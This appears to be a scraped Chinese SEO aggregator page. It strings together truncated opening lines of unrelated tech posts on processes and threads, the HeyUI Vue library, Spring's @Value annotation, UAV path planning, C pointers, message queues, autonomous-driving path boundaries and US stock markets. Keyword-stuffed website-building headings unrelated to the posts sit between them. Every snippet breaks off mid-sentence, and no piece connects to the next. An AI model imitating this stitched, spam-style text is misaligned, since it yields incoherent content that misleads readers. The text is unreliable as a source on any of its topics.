进程与线程 进程:直观的说就是任务管理器中各种正在运行的程序。对于操作系统来说,进程仅仅是一个数据结构,并不会真实的执行代码 线程:通常被称作但并不真的是轻量级进程或实际工作中的进程,它会真实的执行代码。每…

上海快速建站平台wordpress 登录后页面空白页

说道vue组件库,目前主流的基本就是iview和element。今天又发现一个很不错的。HeyUI。组件也很丰富,入门比较简单。反正开源框架我们有不嫌多,多多益善啊。感兴趣的可以看看。关于HeyUIHeyUI 是一套基于 Vue2.0 的开源 UI 组件库,主…

企业如何建设网站呢网站建设的组织机构

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 1. 用法: 从配置properties文件中读取init.password 的值。 Value("${init.password}")private String initPwd…

asp网站源码说明qq推广群号码大全

研究背景 复杂城市地形下无人机避障三维航迹规划是无人机技术领域的一个重要研究方向。无人机在城市环境中的广泛应用,如快递配送、城市监测和搜救等任务,对其航迹规划和避障能力提出了挑战。 研究背景包括以下方面: 无人机的快速发展:无人机技术在近年来得到了迅猛发展…

宝塔 wordpress ssl青岛网站的优化

指针和数组 1. 指针的算术运算1.1 指针加上整数1.2 指针减去整数1.3 两个指针相减1.4 指针比较1.5 指向复合常量的指针 2. 指针用于数组处理3. 用数组名作为指针3.1 数组型实际参数(改进版)3.2 用指针作为数组名 4. 指针和多维数组4.1 处理多维数组的元素…

互助平台网站建设招商网站设计

目录 1. RabbitMQ2. Kafka3. ActiveMQ4. Redis5. ZeroMQ6. Apache Pulsar 消息队列(Message Queue)是一种异步通信机制,它将消息发送者和接收者解耦,从而提高了应用程序的性能、可扩展性和可靠性。在分布式系统中,消息…

沈阳哪家公司做网站好有没有做.net面试题的网站

1 背景 在上篇博客《自动驾驶---Motion Planning之Path Boundary》中,笔者主要介绍了path boundary的一些内容,通过将道路中感兴趣区域的动静态障碍物投影到车道坐标系中,用于确定L或者S的边界,并利用道路信息再确定Speed的边界,最后结合粗糙的速度曲线和路径曲线,即可使…

物流网站 源码电商网站的数据库设计

美国股市和债市近期遭遇了罕见的双重打击,道指连续六个交易日下跌,引发市场广泛关注。这一现象背后,是否又上演了某一“魔咒”?本文将从多个角度对此进行深入分析。 道指罕见创下六连阴、标普500指数迎来硅谷银行危机以来最大两日…